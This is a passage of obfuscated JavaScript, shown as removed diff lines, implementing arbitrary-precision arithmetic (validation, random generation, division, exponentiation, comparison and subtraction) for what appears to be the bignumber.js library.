- _0x52cad7: if ("[object Array]" == {}.toString.call(_0x4b2bb7)) {
- if ((1 === _0x477601 || -1 === _0x477601) && _0x5f3a10 >= -_0x428e83 && _0x5f3a10 <= _0x428e83 && _0x5f3a10 === _0x138cc9(_0x5f3a10)) {
- if (0 === _0x4b2bb7[0]) {
- if (0 === _0x5f3a10 && 1 === _0x4b2bb7.length) {
- return true;
- }
- break _0x52cad7;
- }
- if ((_0x2c74fe = (_0x5f3a10 + 1) % _0x5a3fe5) < 1 && (_0x2c74fe += _0x5a3fe5), String(_0x4b2bb7[0]).length == _0x2c74fe) {
- for (_0x2c74fe = 0; _0x2c74fe < _0x4b2bb7.length; _0x2c74fe++) {
- if ((_0x11a68c = _0x4b2bb7[_0x2c74fe]) < 0 || _0x11a68c >= _0x3dffa6 || _0x11a68c !== _0x138cc9(_0x11a68c)) {
- break _0x52cad7;
- }
- }
- if (0 !== _0x11a68c) {
- return true;
- }
- }
- }
- } else {
- if (null === _0x4b2bb7 && null === _0x5f3a10 && (null === _0x477601 || 1 === _0x477601 || -1 === _0x477601)) {
- return true;
- }
- }
- throw Error(_0x846cf9 + "Invalid BigNumber: " + _0x3f2270);
- };
- _0x3ff58d.maximum = _0x3ff58d.max = function () {
- return _0x527e5d(arguments, _0x1b0629.lt);
- };
- _0x3ff58d.minimum = _0x3ff58d.min = function () {
- return _0x527e5d(arguments, _0x1b0629.gt);
- };
- _0x3ff58d.random = (_0x4521bd = 9007199254740992, _0x2361b1 = Math.random() * _0x4521bd & 2097151 ? function () {
- return _0x138cc9(Math.random() * _0x4521bd);
- } : function () {
- return 8388608 * (1073741824 * Math.random() | 0) + (8388608 * Math.random() | 0);
- }, function (_0xc1dfda) {
- var _0xda61df;
- var _0x50744c;
- var _0x504013;
- var _0x1eb85f;
- var _0x121da7;
- var _0x5abd0d = 0;
- var _0x8bd8cf = [];
- var _0x12b58e = new _0x3ff58d(_0x1febf1);
- if (null == _0xc1dfda ? _0xc1dfda = _0x5360a8 : _0x37340e(_0xc1dfda, 0, _0x428e83), _0x1eb85f = _0x4f9e9c(_0xc1dfda / _0x5a3fe5), _0x10b8f3) {
- if (crypto.getRandomValues) {
- for (_0xda61df = crypto.getRandomValues(new Uint32Array(_0x1eb85f *= 2)); _0x5abd0d < _0x1eb85f;) {
- (_0x121da7 = 131072 * _0xda61df[_0x5abd0d] + (_0xda61df[_0x5abd0d + 1] >>> 11)) >= 9000000000000000 ? (_0x50744c = crypto.getRandomValues(new Uint32Array(2)), _0xda61df[_0x5abd0d] = _0x50744c[0], _0xda61df[_0x5abd0d + 1] = _0x50744c[1]) : (_0x8bd8cf.push(_0x121da7 % 100000000000000), _0x5abd0d += 2);
- }
- _0x5abd0d = _0x1eb85f / 2;
- } else {
- if (!crypto.randomBytes) {
- throw _0x10b8f3 = false, Error(_0x846cf9 + "crypto unavailable");
- }
- for (_0xda61df = crypto.randomBytes(_0x1eb85f *= 7); _0x5abd0d < _0x1eb85f;) {
- (_0x121da7 = 281474976710656 * (31 & _0xda61df[_0x5abd0d]) + 1099511627776 * _0xda61df[_0x5abd0d + 1] + 4294967296 * _0xda61df[_0x5abd0d + 2] + 16777216 * _0xda61df[_0x5abd0d + 3] + (_0xda61df[_0x5abd0d + 4] << 16) + (_0xda61df[_0x5abd0d + 5] << 8) + _0xda61df[_0x5abd0d + 6]) >= 9000000000000000 ? crypto.randomBytes(7).copy(_0xda61df, _0x5abd0d) : (_0x8bd8cf.push(_0x121da7 % 100000000000000), _0x5abd0d += 7);
- }
- _0x5abd0d = _0x1eb85f / 7;
- }
- }
- if (!_0x10b8f3) {
- for (; _0x5abd0d < _0x1eb85f;) {
- (_0x121da7 = _0x2361b1()) < 9000000000000000 && (_0x8bd8cf[_0x5abd0d++] = _0x121da7 % 100000000000000);
- }
- }
- for (_0x1eb85f = _0x8bd8cf[--_0x5abd0d], _0xc1dfda %= _0x5a3fe5, _0x1eb85f && _0xc1dfda && (_0x121da7 = _0x2679ea[_0x5a3fe5 - _0xc1dfda], _0x8bd8cf[_0x5abd0d] = _0x138cc9(_0x1eb85f / _0x121da7) * _0x121da7); 0 === _0x8bd8cf[_0x5abd0d]; _0x8bd8cf.pop(), _0x5abd0d--) {}
- if (_0x5abd0d < 0) {
- _0x8bd8cf = [_0x504013 = 0];
- } else {
- for (_0x504013 = -1; 0 === _0x8bd8cf[0]; _0x8bd8cf.splice(0, 1), _0x504013 -= _0x5a3fe5) {}
- for (_0x5abd0d = 1, _0x121da7 = _0x8bd8cf[0]; _0x121da7 >= 10; _0x121da7 /= 10, _0x5abd0d++) {}
- _0x5abd0d < _0x5a3fe5 && (_0x504013 -= _0x5a3fe5 - _0x5abd0d);
- }
- _0x12b58e.e = _0x504013;
- _0x12b58e.c = _0x8bd8cf;
- return _0x12b58e;
- });
- _0x3ff58d.sum = function () {
- for (var _0x21e1cb = 1, _0x34b564 = arguments, _0x4ebef0 = new _0x3ff58d(_0x34b564[0]); _0x21e1cb < _0x34b564.length;) {
- _0x4ebef0 = _0x4ebef0.plus(_0x34b564[_0x21e1cb++]);
- }
- return _0x4ebef0;
- };
- _0x310054 = function () {
- var _0x33abff = "0123456789";
- function _0x5657cc(_0xb97389, _0x5864bd, _0x34ac5d, _0x253288) {
- for (var _0x3cce00, _0x30568b, _0x18fbb4 = [0], _0x56de1a = 0, _0x40390f = _0xb97389.length; _0x56de1a < _0x40390f;) {
- for (_0x30568b = _0x18fbb4.length; _0x30568b--; _0x18fbb4[_0x30568b] *= _0x5864bd) {}
- for (_0x18fbb4[0] += _0x253288.indexOf(_0xb97389.charAt(_0x56de1a++)), _0x3cce00 = 0; _0x3cce00 < _0x18fbb4.length; _0x3cce00++) {
- _0x18fbb4[_0x3cce00] > _0x34ac5d - 1 && (null == _0x18fbb4[_0x3cce00 + 1] && (_0x18fbb4[_0x3cce00 + 1] = 0), _0x18fbb4[_0x3cce00 + 1] += _0x18fbb4[_0x3cce00] / _0x34ac5d | 0, _0x18fbb4[_0x3cce00] %= _0x34ac5d);
- }
- }
- return _0x18fbb4.reverse();
- }
- return function (_0x5010ad, _0x1de300, _0x1d3bf9, _0x5307d4, _0x14e25d) {
- var _0x9b161c;
- var _0x449e5d;
- var _0x5b4fad;
- var _0x3cc1ef;
- var _0x29e8e3;
- var _0x39286b;
- var _0x5059a7;
- var _0x57c029;
- var _0x5738f7 = _0x5010ad.indexOf(".");
- var _0x496544 = _0x5360a8;
- var _0x43c6af = _0xa4c222;
- for (_0x5738f7 >= 0 && (_0x3cc1ef = _0x203c25, _0x203c25 = 0, _0x5010ad = _0x5010ad.replace(".", ""), _0x39286b = (_0x57c029 = new _0x3ff58d(_0x1de300)).pow(_0x5010ad.length - _0x5738f7), _0x203c25 = _0x3cc1ef, _0x57c029.c = _0x5657cc(_0x1453ac(_0x6d6fb9(_0x39286b.c), _0x39286b.e, "0"), 10, _0x1d3bf9, _0x33abff), _0x57c029.e = _0x57c029.c.length), _0x5b4fad = _0x3cc1ef = (_0x5059a7 = _0x5657cc(_0x5010ad, _0x1de300, _0x1d3bf9, _0x14e25d ? (_0x9b161c = _0x52533a, _0x33abff) : (_0x9b161c = _0x33abff, _0x52533a))).length; 0 == _0x5059a7[--_0x3cc1ef]; _0x5059a7.pop()) {}
- if (!_0x5059a7[0]) {
- return _0x9b161c.charAt(0);
- }
- if (_0x5738f7 < 0 ? --_0x5b4fad : (_0x39286b.c = _0x5059a7, _0x39286b.e = _0x5b4fad, _0x39286b.s = _0x5307d4, _0x5059a7 = (_0x39286b = _0x532966(_0x39286b, _0x57c029, _0x496544, _0x43c6af, _0x1d3bf9)).c, _0x29e8e3 = _0x39286b.r, _0x5b4fad = _0x39286b.e), _0x5738f7 = _0x5059a7[_0x449e5d = _0x5b4fad + _0x496544 + 1], _0x3cc1ef = _0x1d3bf9 / 2, _0x29e8e3 = _0x29e8e3 || _0x449e5d < 0 || null != _0x5059a7[_0x449e5d + 1], _0x29e8e3 = _0x43c6af < 4 ? (null != _0x5738f7 || _0x29e8e3) && (0 == _0x43c6af || _0x43c6af == (_0x39286b.s < 0 ? 3 : 2)) : _0x5738f7 > _0x3cc1ef || _0x5738f7 == _0x3cc1ef && (4 == _0x43c6af || _0x29e8e3 || 6 == _0x43c6af && 1 & _0x5059a7[_0x449e5d - 1] || _0x43c6af == (_0x39286b.s < 0 ? 8 : 7)), _0x449e5d < 1 || !_0x5059a7[0]) {
- _0x5010ad = _0x29e8e3 ? _0x1453ac(_0x9b161c.charAt(1), -_0x496544, _0x9b161c.charAt(0)) : _0x9b161c.charAt(0);
- } else {
- if (_0x5059a7.length = _0x449e5d, _0x29e8e3) {
- for (--_0x1d3bf9; ++_0x5059a7[--_0x449e5d] > _0x1d3bf9;) {
- _0x5059a7[_0x449e5d] = 0;
- _0x449e5d || (++_0x5b4fad, _0x5059a7 = [1].concat(_0x5059a7));
- }
- }
- for (_0x3cc1ef = _0x5059a7.length; !_0x5059a7[--_0x3cc1ef];) {}
- for (_0x5738f7 = 0, _0x5010ad = ""; _0x5738f7 <= _0x3cc1ef; _0x5010ad += _0x9b161c.charAt(_0x5059a7[_0x5738f7++])) {}
- _0x5010ad = _0x1453ac(_0x5010ad, _0x5b4fad, _0x9b161c.charAt(0));
- }
- return _0x5010ad;
- };
- }();
- _0x532966 = function () {
- function _0x3e5f1b(_0xc3ca2a, _0x4216c8, _0xd6c2ac) {
- var _0x345d9c;
- var _0x38c695;
- var _0x1d6d72;
- var _0x4fc048;
- var _0x5c7692 = 0;
- var _0x33c79b = _0xc3ca2a.length;
- var _0x51db7d = _0x4216c8 % _0x21980b;
- var _0x26a947 = _0x4216c8 / _0x21980b | 0;
- for (_0xc3ca2a = _0xc3ca2a.slice(); _0x33c79b--;) {
- _0x5c7692 = ((_0x38c695 = _0x51db7d * (_0x1d6d72 = _0xc3ca2a[_0x33c79b] % _0x21980b) + (_0x345d9c = _0x26a947 * _0x1d6d72 + (_0x4fc048 = _0xc3ca2a[_0x33c79b] / _0x21980b | 0) * _0x51db7d) % _0x21980b * _0x21980b + _0x5c7692) / _0xd6c2ac | 0) + (_0x345d9c / _0x21980b | 0) + _0x26a947 * _0x4fc048;
- _0xc3ca2a[_0x33c79b] = _0x38c695 % _0xd6c2ac;
- }
- _0x5c7692 && (_0xc3ca2a = [_0x5c7692].concat(_0xc3ca2a));
- return _0xc3ca2a;
- }
- function _0x4ea3a8(_0x258640, _0x5a1c9b, _0x3b77d9, _0x5d2931) {
- var _0x4b90db;
- var _0x347038;
- if (_0x3b77d9 != _0x5d2931) {
- _0x347038 = _0x3b77d9 > _0x5d2931 ? 1 : -1;
- } else {
- for (_0x4b90db = _0x347038 = 0; _0x4b90db < _0x3b77d9; _0x4b90db++) {
- if (_0x258640[_0x4b90db] != _0x5a1c9b[_0x4b90db]) {
- _0x347038 = _0x258640[_0x4b90db] > _0x5a1c9b[_0x4b90db] ? 1 : -1;
- break;
- }
- }
- }
- return _0x347038;
- }
- function _0x46ed83(_0x16c782, _0x392116, _0x4a1511, _0x6cda85) {
- for (var _0x3071e3 = 0; _0x4a1511--;) {
- _0x16c782[_0x4a1511] -= _0x3071e3;
- _0x3071e3 = _0x16c782[_0x4a1511] < _0x392116[_0x4a1511] ? 1 : 0;
- _0x16c782[_0x4a1511] = _0x3071e3 * _0x6cda85 + _0x16c782[_0x4a1511] - _0x392116[_0x4a1511];
- }
- for (; !_0x16c782[0] && _0x16c782.length > 1; _0x16c782.splice(0, 1)) {}
- }
- return function (_0x14078e, _0x93d6a7, _0x519c7d, _0x142901, _0x39dda8) {
- var _0x5e6b71;
- var _0x15948d;
- var _0x2045b4;
- var _0x32416c;
- var _0x3ca438;
- var _0x4bfae7;
- var _0x201913;
- var _0x1b99e4;
- var _0x4ba840;
- var _0x594901;
- var _0xc23558;
- var _0x4e655a;
- var _0xeed22c;
- var _0x4503c3;
- var _0x8e638d;
- var _0x162a15;
- var _0x18cd69;
- var _0x2d82a9 = _0x14078e.s == _0x93d6a7.s ? 1 : -1;
- var _0x20317c = _0x14078e.c;
- var _0x3b7e84 = _0x93d6a7.c;
- if (!(_0x20317c && _0x20317c[0] && _0x3b7e84 && _0x3b7e84[0])) {
- return new _0x3ff58d(_0x14078e.s && _0x93d6a7.s && (_0x20317c ? !_0x3b7e84 || _0x20317c[0] != _0x3b7e84[0] : _0x3b7e84) ? _0x20317c && 0 == _0x20317c[0] || !_0x3b7e84 ? 0 * _0x2d82a9 : _0x2d82a9 / 0 : NaN);
- }
- for (_0x4ba840 = (_0x1b99e4 = new _0x3ff58d(_0x2d82a9)).c = [], _0x2d82a9 = _0x519c7d + (_0x15948d = _0x14078e.e - _0x93d6a7.e) + 1, _0x39dda8 || (_0x39dda8 = _0x3dffa6, _0x15948d = _0x1d3694(_0x14078e.e / _0x5a3fe5) - _0x1d3694(_0x93d6a7.e / _0x5a3fe5), _0x2d82a9 = _0x2d82a9 / _0x5a3fe5 | 0), _0x2045b4 = 0; _0x3b7e84[_0x2045b4] == (_0x20317c[_0x2045b4] || 0); _0x2045b4++) {}
- if (_0x3b7e84[_0x2045b4] > (_0x20317c[_0x2045b4] || 0) && _0x15948d--, _0x2d82a9 < 0) {
- _0x4ba840.push(1);
- _0x32416c = true;
- } else {
- for (_0x4503c3 = _0x20317c.length, _0x162a15 = _0x3b7e84.length, _0x2045b4 = 0, _0x2d82a9 += 2, (_0x3ca438 = _0x138cc9(_0x39dda8 / (_0x3b7e84[0] + 1))) > 1 && (_0x3b7e84 = _0x3e5f1b(_0x3b7e84, _0x3ca438, _0x39dda8), _0x20317c = _0x3e5f1b(_0x20317c, _0x3ca438, _0x39dda8), _0x162a15 = _0x3b7e84.length, _0x4503c3 = _0x20317c.length), _0xeed22c = _0x162a15, _0xc23558 = (_0x594901 = _0x20317c.slice(0, _0x162a15)).length; _0xc23558 < _0x162a15; _0x594901[_0xc23558++] = 0) {}
- _0x18cd69 = _0x3b7e84.slice();
- _0x18cd69 = [0].concat(_0x18cd69);
- _0x8e638d = _0x3b7e84[0];
- _0x3b7e84[1] >= _0x39dda8 / 2 && _0x8e638d++;
- do {
- if (_0x3ca438 = 0, (_0x5e6b71 = _0x4ea3a8(_0x3b7e84, _0x594901, _0x162a15, _0xc23558)) < 0) {
- if (_0x4e655a = _0x594901[0], _0x162a15 != _0xc23558 && (_0x4e655a = _0x4e655a * _0x39dda8 + (_0x594901[1] || 0)), (_0x3ca438 = _0x138cc9(_0x4e655a / _0x8e638d)) > 1) {
- for (_0x3ca438 >= _0x39dda8 && (_0x3ca438 = _0x39dda8 - 1), _0x201913 = (_0x4bfae7 = _0x3e5f1b(_0x3b7e84, _0x3ca438, _0x39dda8)).length, _0xc23558 = _0x594901.length; 1 == _0x4ea3a8(_0x4bfae7, _0x594901, _0x201913, _0xc23558);) {
- _0x3ca438--;
- _0x46ed83(_0x4bfae7, _0x162a15 < _0x201913 ? _0x18cd69 : _0x3b7e84, _0x201913, _0x39dda8);
- _0x201913 = _0x4bfae7.length;
- _0x5e6b71 = 1;
- }
- } else {
- 0 == _0x3ca438 && (_0x5e6b71 = _0x3ca438 = 1);
- _0x201913 = (_0x4bfae7 = _0x3b7e84.slice()).length;
- }
- if (_0x201913 < _0xc23558 && (_0x4bfae7 = [0].concat(_0x4bfae7)), _0x46ed83(_0x594901, _0x4bfae7, _0xc23558, _0x39dda8), _0xc23558 = _0x594901.length, -1 == _0x5e6b71) {
- for (; _0x4ea3a8(_0x3b7e84, _0x594901, _0x162a15, _0xc23558) < 1;) {
- _0x3ca438++;
- _0x46ed83(_0x594901, _0x162a15 < _0xc23558 ? _0x18cd69 : _0x3b7e84, _0xc23558, _0x39dda8);
- _0xc23558 = _0x594901.length;
- }
- }
- } else {
- 0 === _0x5e6b71 && (_0x3ca438++, _0x594901 = [0]);
- }
- _0x4ba840[_0x2045b4++] = _0x3ca438;
- _0x594901[0] ? _0x594901[_0xc23558++] = _0x20317c[_0xeed22c] || 0 : (_0x594901 = [_0x20317c[_0xeed22c]], _0xc23558 = 1);
- } while ((_0xeed22c++ < _0x4503c3 || null != _0x594901[0]) && _0x2d82a9--);
- _0x32416c = null != _0x594901[0];
- _0x4ba840[0] || _0x4ba840.splice(0, 1);
- }
- if (_0x39dda8 == _0x3dffa6) {
- for (_0x2045b4 = 1, _0x2d82a9 = _0x4ba840[0]; _0x2d82a9 >= 10; _0x2d82a9 /= 10, _0x2045b4++) {}
- _0x5e97ff(_0x1b99e4, _0x519c7d + (_0x1b99e4.e = _0x2045b4 + _0x15948d * _0x5a3fe5 - 1) + 1, _0x142901, _0x32416c);
- } else {
- _0x1b99e4.e = _0x15948d;
- _0x1b99e4.r = +_0x32416c;
- }
- return _0x1b99e4;
- };
- }();
- _0x9084b9 = /^(-?)0([xbo])(?=\w[\w.]*$)/i;
- _0x3e429e = /^([^.]+)\.$/;
- _0x16b2d1 = /^\.([^.]+)$/;
- _0x6cc78d = /^-?(Infinity|NaN)$/;
- _0x355b3f = /^\s*\+(?=[\w.])|^\s+|\s+$/g;
- _0x13c6c0 = function (_0x42f01b, _0x7cb691, _0x2b075c, _0x230551) {
- var _0x291891;
- var _0x5841a8 = _0x2b075c ? _0x7cb691 : _0x7cb691.replace(_0x355b3f, "");
- if (_0x6cc78d.test(_0x5841a8)) {
- _0x42f01b.s = isNaN(_0x5841a8) ? null : _0x5841a8 < 0 ? -1 : 1;
- } else {
- if (!_0x2b075c && (_0x5841a8 = _0x5841a8.replace(_0x9084b9, function (_0x5c856a, _0x217f2c, _0x528b01) {
- _0x291891 = "x" == (_0x528b01 = _0x528b01.toLowerCase()) ? 16 : "b" == _0x528b01 ? 2 : 8;
- return _0x230551 && _0x230551 != _0x291891 ? _0x5c856a : _0x217f2c;
- }), _0x230551 && (_0x291891 = _0x230551, _0x5841a8 = _0x5841a8.replace(_0x3e429e, "$1").replace(_0x16b2d1, "0.$1")), _0x7cb691 != _0x5841a8)) {
- return new _0x3ff58d(_0x5841a8, _0x291891);
- }
- if (_0x3ff58d.DEBUG) {
- throw Error(_0x846cf9 + "Not a" + (_0x230551 ? " base " + _0x230551 : "") + " number: " + _0x7cb691);
- }
- _0x42f01b.s = null;
- }
- _0x42f01b.c = _0x42f01b.e = null;
- };
- _0x1b0629.absoluteValue = _0x1b0629.abs = function () {
- var _0x292162 = new _0x3ff58d(this);
- _0x292162.s < 0 && (_0x292162.s = 1);
- return _0x292162;
- };
- _0x1b0629.comparedTo = function (_0x1d495d, _0x2443ef) {
- return _0x120df4(this, new _0x3ff58d(_0x1d495d, _0x2443ef));
- };
- _0x1b0629.decimalPlaces = _0x1b0629.dp = function (_0x561924, _0x14bd25) {
- var _0x1f397a;
- var _0x3ee47f;
- var _0x22ca4e;
- var _0x21a34f = this;
- if (null != _0x561924) {
- _0x37340e(_0x561924, 0, _0x428e83);
- null == _0x14bd25 ? _0x14bd25 = _0xa4c222 : _0x37340e(_0x14bd25, 0, 8);
- return _0x5e97ff(new _0x3ff58d(_0x21a34f), _0x561924 + _0x21a34f.e + 1, _0x14bd25);
- }
- if (!(_0x1f397a = _0x21a34f.c)) {
- return null;
- }
- if (_0x3ee47f = ((_0x22ca4e = _0x1f397a.length - 1) - _0x1d3694(this.e / _0x5a3fe5)) * _0x5a3fe5, _0x22ca4e = _0x1f397a[_0x22ca4e]) {
- for (; _0x22ca4e % 10 == 0; _0x22ca4e /= 10, _0x3ee47f--) {}
- }
- _0x3ee47f < 0 && (_0x3ee47f = 0);
- return _0x3ee47f;
- };
- _0x1b0629.dividedBy = _0x1b0629.div = function (_0x1c9920, _0x2f5bc4) {
- return _0x532966(this, new _0x3ff58d(_0x1c9920, _0x2f5bc4), _0x5360a8, _0xa4c222);
- };
- _0x1b0629.dividedToIntegerBy = _0x1b0629.idiv = function (_0x4e31bf, _0x41d510) {
- return _0x532966(this, new _0x3ff58d(_0x4e31bf, _0x41d510), 0, 1);
- };
- _0x1b0629.exponentiatedBy = _0x1b0629.pow = function (_0xa883b9, _0x22fc21) {
- var _0x4d65f3;
- var _0x2a2941;
- var _0x44fe6e;
- var _0x3b5b83;
- var _0x5627d0;
- var _0x539676;
- var _0x46b767;
- var _0x4a04f4;
- var _0x18fa54 = this;
- if ((_0xa883b9 = new _0x3ff58d(_0xa883b9)).c && !_0xa883b9.isInteger()) {
- throw Error(_0x846cf9 + "Exponent not an integer: " + _0x45dd1d(_0xa883b9));
- }
- if (null != _0x22fc21 && (_0x22fc21 = new _0x3ff58d(_0x22fc21)), _0x5627d0 = _0xa883b9.e > 14, !_0x18fa54.c || !_0x18fa54.c[0] || 1 == _0x18fa54.c[0] && !_0x18fa54.e && 1 == _0x18fa54.c.length || !_0xa883b9.c || !_0xa883b9.c[0]) {
- _0x4a04f4 = new _0x3ff58d(Math.pow(+_0x45dd1d(_0x18fa54), _0x5627d0 ? _0xa883b9.s * (2 - _0xe24985(_0xa883b9)) : +_0x45dd1d(_0xa883b9)));
- return _0x22fc21 ? _0x4a04f4.mod(_0x22fc21) : _0x4a04f4;
- }
- if (_0x539676 = _0xa883b9.s < 0, _0x22fc21) {
- if (_0x22fc21.c ? !_0x22fc21.c[0] : !_0x22fc21.s) {
- return new _0x3ff58d(NaN);
- }
- (_0x2a2941 = !_0x539676 && _0x18fa54.isInteger() && _0x22fc21.isInteger()) && (_0x18fa54 = _0x18fa54.mod(_0x22fc21));
- } else {
- if (_0xa883b9.e > 9 && (_0x18fa54.e > 0 || _0x18fa54.e < -1 || (0 == _0x18fa54.e ? _0x18fa54.c[0] > 1 || _0x5627d0 && _0x18fa54.c[1] >= 240000000 : _0x18fa54.c[0] < 80000000000000 || _0x5627d0 && _0x18fa54.c[0] <= 99999750000000))) {
- _0x3b5b83 = _0x18fa54.s < 0 && _0xe24985(_0xa883b9) ? -0 : 0;
- _0x18fa54.e > -1 && (_0x3b5b83 = 1 / _0x3b5b83);
- return new _0x3ff58d(_0x539676 ? 1 / _0x3b5b83 : _0x3b5b83);
- }
- _0x203c25 && (_0x3b5b83 = _0x4f9e9c(_0x203c25 / _0x5a3fe5 + 2));
- }
- for (_0x5627d0 ? (_0x4d65f3 = new _0x3ff58d(0.5), _0x539676 && (_0xa883b9.s = 1), _0x46b767 = _0xe24985(_0xa883b9)) : _0x46b767 = (_0x44fe6e = Math.abs(+_0x45dd1d(_0xa883b9))) % 2, _0x4a04f4 = new _0x3ff58d(_0x1febf1);;) {
- if (_0x46b767) {
- if (!(_0x4a04f4 = _0x4a04f4.times(_0x18fa54)).c) {
- break;
- }
- _0x3b5b83 ? _0x4a04f4.c.length > _0x3b5b83 && (_0x4a04f4.c.length = _0x3b5b83) : _0x2a2941 && (_0x4a04f4 = _0x4a04f4.mod(_0x22fc21));
- }
- if (_0x44fe6e) {
- if (0 === (_0x44fe6e = _0x138cc9(_0x44fe6e / 2))) {
- break;
- }
- _0x46b767 = _0x44fe6e % 2;
- } else {
- if (_0x5e97ff(_0xa883b9 = _0xa883b9.times(_0x4d65f3), _0xa883b9.e + 1, 1), _0xa883b9.e > 14) {
- _0x46b767 = _0xe24985(_0xa883b9);
- } else {
- if (0 == (_0x44fe6e = +_0x45dd1d(_0xa883b9))) {
- break;
- }
- _0x46b767 = _0x44fe6e % 2;
- }
- }
- _0x18fa54 = _0x18fa54.times(_0x18fa54);
- _0x3b5b83 ? _0x18fa54.c && _0x18fa54.c.length > _0x3b5b83 && (_0x18fa54.c.length = _0x3b5b83) : _0x2a2941 && (_0x18fa54 = _0x18fa54.mod(_0x22fc21));
- }
- return _0x2a2941 ? _0x4a04f4 : (_0x539676 && (_0x4a04f4 = _0x1febf1.div(_0x4a04f4)), _0x22fc21 ? _0x4a04f4.mod(_0x22fc21) : _0x3b5b83 ? _0x5e97ff(_0x4a04f4, _0x203c25, _0xa4c222, undefined) : _0x4a04f4);
- };
- _0x1b0629.integerValue = function (_0x313394) {
- var _0x3fc3ff = new _0x3ff58d(this);
- null == _0x313394 ? _0x313394 = _0xa4c222 : _0x37340e(_0x313394, 0, 8);
- return _0x5e97ff(_0x3fc3ff, _0x3fc3ff.e + 1, _0x313394);
- };
- _0x1b0629.isEqualTo = _0x1b0629.eq = function (_0x1a310d, _0x43ed4d) {
- return 0 === _0x120df4(this, new _0x3ff58d(_0x1a310d, _0x43ed4d));
- };
- _0x1b0629.isFinite = function () {
- return !!this.c;
- };
- _0x1b0629.isGreaterThan = _0x1b0629.gt = function (_0x58b409, _0x31e842) {
- return _0x120df4(this, new _0x3ff58d(_0x58b409, _0x31e842)) > 0;
- };
- _0x1b0629.isGreaterThanOrEqualTo = _0x1b0629.gte = function (_0x544182, _0x581417) {
- return 1 === (_0x581417 = _0x120df4(this, new _0x3ff58d(_0x544182, _0x581417))) || 0 === _0x581417;
- };
- _0x1b0629.isInteger = function () {
- return !!this.c && _0x1d3694(this.e / _0x5a3fe5) > this.c.length - 2;
- };
- _0x1b0629.isLessThan = _0x1b0629.lt = function (_0x3b78f6, _0x1efad3) {
- return _0x120df4(this, new _0x3ff58d(_0x3b78f6, _0x1efad3)) < 0;
- };
- _0x1b0629.isLessThanOrEqualTo = _0x1b0629.lte = function (_0x45240b, _0x2d0bac) {
- return -1 === (_0x2d0bac = _0x120df4(this, new _0x3ff58d(_0x45240b, _0x2d0bac))) || 0 === _0x2d0bac;
- };
- _0x1b0629.isNaN = function () {
- return !this.s;
- };
- _0x1b0629.isNegative = function () {
- return this.s < 0;
- };
- _0x1b0629.isPositive = function () {
- return this.s > 0;
- };
- _0x1b0629.isZero = function () {
- return !!this.c && 0 == this.c[0];
- };
- _0x1b0629.minus = function (_0x2aa8fb, _0x1985ad) {
- var _0x20e343;
- var _0x6398e0;
- var _0xdfdd4e;
- var _0x322aaf;
- var _0x36313a = this;
- var _0x5a771b = _0x36313a.s;
- if (_0x1985ad = (_0x2aa8fb = new _0x3ff58d(_0x2aa8fb, _0x1985ad)).s, !_0x5a771b || !_0x1985ad) {
- return new _0x3ff58d(NaN);
- }
- if (_0x5a771b != _0x1985ad) {
- _0x2aa8fb.s = -_0x1985ad;
- return _0x36313a.plus(_0x2aa8fb);
- }
- var _0x7fb427 = _0x36313a.e / _0x5a3fe5;
- var _0x2e2d1f = _0x2aa8fb.e / _0x5a3fe5;
- var _0x601efa = _0x36313a.c;
- var _0x3192ff = _0x2aa8fb.c;
- if (!_0x7fb427 || !_0x2e2d1f) {
- if (!_0x601efa || !_0x3192ff) {
- return _0x601efa ? (_0x2aa8fb.s = -_0x1985ad, _0x2aa8fb) : new _0x3ff58d(_0x3192ff ? _0x36313a : NaN);
- }
- if (!_0x601efa[0] || !_0x3192ff[0]) {
- return _0x3192ff[0] ? (_0x2aa8fb.s = -_0x1985ad, _0x2aa8fb) : new _0x3ff58d(_0x601efa[0] ? _0x36313a : 3 == _0xa4c222 ? -0 : 0);
- }
- }
- if (_0x7fb427 = _0x1d3694(_0x7fb427), _0x2e2d1f = _0x1d3694(_0x2e2d1f), _0x601efa = _0x601efa.slice(), _0x5a771b = _0x7fb427 - _0x2e2d1f) {
- for ((_0x322aaf = _0x5a771b < 0) ? (_0x5a771b = -_0x5a771b, _0xdfdd4e = _0x601efa) : (_0x2e2d1f = _0x7fb427, _0xdfdd4e = _0x3192ff), _0xdfdd4e.reverse(), _0x1985ad = _0x5a771b; _0x1985ad--; _0xdfdd4e.push(0)) {}
- _0xdfdd4e.reverse();
- } else {
- for (_0x6398e0 = (_0x322aaf = (_0x5a771b = _0x601efa.length) < (_0x1985ad = _0x3192ff.length)) ? _0x5a771b : _0x1985ad, _0x5a771b = _0x1985ad = 0; _0x1985ad < _0x6398e0; _0x1985ad++) {
- if (_0x601efa[_0x1985ad] != _0x3192ff[_0x1985ad]) {
- _0x322aaf = _0x601efa[_0x1985ad] < _0x3192ff[_0x1985ad];
- break;
- }
- }
- }
- if (_0x322aaf && (_0xdfdd4e = _0x601efa, _0x601efa = _0x3192ff, _0x3192ff = _0xdfdd4e, _0x2aa8fb.s = -_0x2aa8fb.s), (_0x1985ad = (_0x6398e0 = _0x3192ff.length) - (_0x20e343 = _0x601efa.length)) > 0) {
- for (; _0x1985ad--; _0x601efa[_0x20e343++] = 0) {}
- }
- for (_0x1985ad = _0x3dffa6 - 1; _0x6398e0 > _0x5a771b;) {
- if (_0x601efa[--_0x6398e0] < _0x3192ff[_0x6398e0]) {
- for (_0x20e343 = _0x6398e0; _0x20e343 && !_0x601efa[--_0x20e343]; _0x601efa[_0x20e343] = _0x1985ad) {}
- --_0x601efa[_0x20e343];
- _0x601efa[_0x6398e0] += _0x3dffa6;
- }
- _0x601efa[_0x6398e0] -= _0x3192ff[_0x6398e0];
- }
- for (; 0 == _0x601efa[0]; _0x601efa.splice(0, 1), --_0x2e2d1f) {}
- return _0x601efa[0] ? _0x247158(_0x2aa8fb, _0x601efa, _0x2e2d1f) : (_0x2aa8fb.s = 3 == _0xa4c222 ? -1 : 1, _0x2aa8fb.c = [_0x2aa8fb.e = 0], _0x2aa8fb);
- };
- _0x1b0629.modulo = _0x1b0629.mod = function (_0x513dec, _0x371360) {
- var _0x4e3f4e;
- var _0x2bf79f;
- var _0x41f3d9 = this;
- _0x513dec = new _0x3ff58d(_0x513dec, _0x371360);
